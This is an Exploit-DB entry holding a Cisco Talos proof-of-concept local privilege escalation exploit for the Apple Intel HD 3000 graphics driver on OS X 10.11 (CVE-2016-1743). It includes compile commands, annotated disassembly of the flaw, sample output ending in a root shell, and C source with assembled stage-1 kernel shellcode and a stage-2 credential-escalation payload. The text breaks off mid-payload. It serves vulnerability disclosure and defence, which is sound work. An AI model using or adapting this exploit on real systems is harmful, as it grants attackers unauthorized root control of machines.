Exploit-DB #39675
Description: Apple Intel HD 3000 Graphics Driver 10.0.0 - Local Privilege Escalation
Type: local
Platform: osx
Date: 2016-04-08
Author: Piotr Bania

Exploit:
/*

‚ĖĎ‚ĖÄ‚Ėą‚ĖÄ‚ĖĎ‚Ėą‚ĖÄ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚ĖĎ‚ĖĎ‚Ėą‚ĖÄ‚Ėą‚ĖĎ‚Ėą‚ĖÄ‚ĖÄ‚ĖĎ‚ĖĎ‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚ĖĎ‚ĖĎ‚Ėą‚ĖÄ‚Ėą‚ĖĎ‚Ėą‚ĖÄ‚ĖĄ‚ĖĎ‚Ėą‚ĖÄ‚ĖÄ‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ
‚ĖĎ‚ĖĎ‚Ėą‚ĖĎ‚ĖĎ‚Ėą‚ĖÄ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚ĖĎ‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚ĖÄ‚ĖÄ‚Ėą‚ĖĎ‚ĖĎ‚ĖĎ‚ĖÄ‚ĖĄ‚ĖÄ‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚ĖĎ‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖĎ‚Ėą‚ĖÄ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖĄ‚ĖÄ‚ĖĎ
‚ĖĎ‚ĖĎ‚ĖÄ‚ĖĎ‚ĖĎ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖÄ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖÄ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖÄ‚ĖÄ‚ĖĎ‚ĖĎ‚ĖĎ‚ĖĎ‚ĖÄ‚ĖĎ‚ĖĎ‚ĖÄ‚ĖÄ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖÄ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖĎ‚ĖÄ‚ĖÄ‚ĖĎ‚ĖĎ‚ĖÄ‚ĖÄ‚ĖÄ‚ĖĎ‚ĖĎ‚ĖÄ‚ĖĎ‚ĖĎ
  T   A   L   O   S     V   U   L   N   D   E   V

Proof-of-Concept Exploit
Advisory: http://www.talosintel.com/reports/TALOS-2016-0088/
Snort rules: 37517, 37518
CVE-2016-1743

Author: Piotr Bania, Cisco Talos
Target: Apple Intel HD 3000 Graphics driver 
Impact: Local Privilege Escalation (root)

Tested Configuration: 
Apple Intel HD 3000 Graphics driver 10.0.0
Darwin Kernel Version 15.2.0
OSX 10.11.2

Compilation: 
gcc TALOS-2016-0088_poc.c lsym.m -o TALOS-2016-0088_poc -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3

kudos: 
qwertyoruiop (i've grabbed the lsym thing from you)


technical information (AppleIntelHD3000Graphics driver 10.0.0) :
...
__text:[PII_REDACTED]01AA4E                 mov     ecx, [rcx]
__text:[PII_REDACTED]01AA50                 add     ecx, ecx
__text:[PII_REDACTED]01AA52                 sub     eax, ecx
__text:[PII_REDACTED]01AA54                 cmp     rbx, rax
__text:[PII_REDACTED]01AA57                 ja      loc_1AC8C
__text:[PII_REDACTED]01AA5D                 mov     [rbp+var_54], esi
__text:[PII_REDACTED]01AA60                 mov     rax, [rdi]
__text:[PII_REDACTED]01AA63                 mov     esi, 168h
__text:[PII_REDACTED]01AA68                 call    qword ptr [rax+980h]         ; # WE CAN CONTROL THIS #


Expected output:

mac-mini:bug mini$ uname -a
Darwin BLAs-Mac-mini 15.2.0 Darwin Kernel Version 15.2.0: Fri Nov 13 19:56:56 PST 2015; root:xnu-3248.20.55~2/RELEASE_X86_64 x86_64

mac-mini:bug mini$ ./TALOS-2016-0088_poc
---------------------------------------------------------------- 
APPLE MAC MINI AppleIntelHD3000Graphics EXPLOIT OSX 10.11 
by Piotr Bania / CISCO TALOS
---------------------------------------------------------------- 


Alloc: deallocating! 
Alloc: allocating 0x2000 (0x00000000 - 0x00002000)bytes
Alloc: vm_allocate ok, now vm_protect ...
Alloc: vm_allocate returned = 0 - addr = 0x00000000, vm_protect ok, filling
Mapping the kernel 
MapKernel: kernel mapped 
Initializing service 
InitService: Trying: Gen6Accelerator 
InitService: service ok! 
Commencing stage 1 
Stage1: Copying the stage1 payload 0x00001000 - 0x00001071 
Stage1: Setting up the RIP to 0x00001000 
Stage1: Copying trigger data 
Stage1: Making stage1 call
Stage1: leaked kernel address 0xffffff8021e00000 
Stage1: kernel address leaked, success! 
ResolveApi: using kernel addr 0xffffff8021e00000 (file base = 0xffffff[PII_REDACTED]) 
ResolveApi: _current_proc = 0xffffff8022437a60  
ResolveApi: _proc_ucred = 0xffffff80223a9af0  
ResolveApi: _posix_cred_get = 0xffffff802237e780  
ResolveApi: _chgproccnt = 0xffffff80223a8400  
Commencing stage 2 
Stage2: preparing the stage2 payload 
Stage2: Copying the stage2 payload 0x00001000 - 0x00001071 
Stage2: Setting up the RIP to 0x00001000 
Stage2: Copying trigger data 
Stage2: Making stage2 call
Stage2: success, got root! 
Stage2: now executing shell 
sh-3.2# whoami
root
sh-3.2# 

*/


#include "import.h"

/**

    defines

**/

#define MEM_SIZE                        0x2000
#define PAYLOAD_MEM_START               0x1000
#define INIT_SIG                        0x[PII_REDACTED]000008
#define OFFSET_PAYLOAD_EXEC             0x980
#define OFFSET_ROOM                     64

#define RESOLVE_SYMBOL_MY(map, name)    lsym_find_symbol(map, name) - base + KernelAddr


/**

    stage 1 payload - get kernel address and put it to 0x1000

 ; memory space for kernel address 
 
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 nop
 
 save_regs64
 
 
    ; get msr entry
    mov     rcx, 0C0000082h     ;   lstar
    rdmsr				        ;   MSR[ecx] --> edx:eax
    shl     rdx, 32
    or	    rax, rdx
      
    ; find kernel addr - scan backwards
MAX_KERNEL_SCAN_SIZE    equ 10000h    
KERNEL_SIG              equ 01000007FEEDFACFh
PAGE_SIZE               equ 1000h    
    
    
    mov     rcx, MAX_KERNEL_SCAN_SIZE
    and     rax, not 0FFFFFh
    xor     rdx, rdx
    mov     r8, KERNEL_SIG
    
 
scan_loop:
    sub     rax, PAGE_SIZE
    dec     rcx
    jz      scan_done

    ; is sig correct?
    cmp     qword [rax], r8
    jnz     scan_loop
    
    mov     rdx, rax
    
scan_done:    
    
    ; store the addr - rdx kernel addr, 0 if not found
    lea     rcx, [shell_start]
    mov     qword [rcx], rdx
 
 load_regs64
 
    xor     rax, rax
    xor     r15, r15
    
    ret
     
    
    
**/

unsigned char stage1[113] = {
	0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x53, 0x55, 0x57, 0x56, 0x41, 0x54, 0x41, 0x55, 
	0x41, 0x56, 0x41, 0x57, 0x48, 0xB9, 0x82, 0x00, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x32, 
	0x48, 0xC1, 0xE2, 0x20, 0x48, 0x09, 0xD0, 0x48, 0xC7, 0xC1, 0x00, 0x00, 0x01, 0x00, 0x48, 0x25, 
	0x00, 0x00, 0xF0, 0xFF, 0x48, 0x31, 0xD2, 0x49, 0xB8, 0xCF, 0xFA, 0xED, 0xFE, 0x07, 0x00, 0x00, 
	0x01, 0x48, 0x2D, 0x00, 0x10, 0x00, 0x00, 0x48, 0xFF, 0xC9, 0x74, 0x08, 0x4C, 0x39, 0x00, 0x75, 
	0xF0, 0x48, 0x89, 0xC2, 0x48, 0x8D, 0x0D, 0xA5, 0xFF, 0xFF, 0xFF, 0x48, 0x89, 0x11, 0x41, 0x5F, 
	0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5E, 0x5F, 0x5D, 0x5B, 0x48, 0x31, 0xC0, 0x4D, 0x31, 0xFF, 
	0xC3
};


/**

    stage 2 payload - escalate

  jmp over_api_table
 
 
    api_current_proc    dq   0
    api_proc_ucred      dq   0
    api_posix_cred_get  dq   0
    api_chgproccnt      dq   0
 
 
 
 over_api_table:
 save_regs64   
    
       mov     rax, qword [api_current_proc]
    call    rax
    mov     rdi, rax        ; rdi =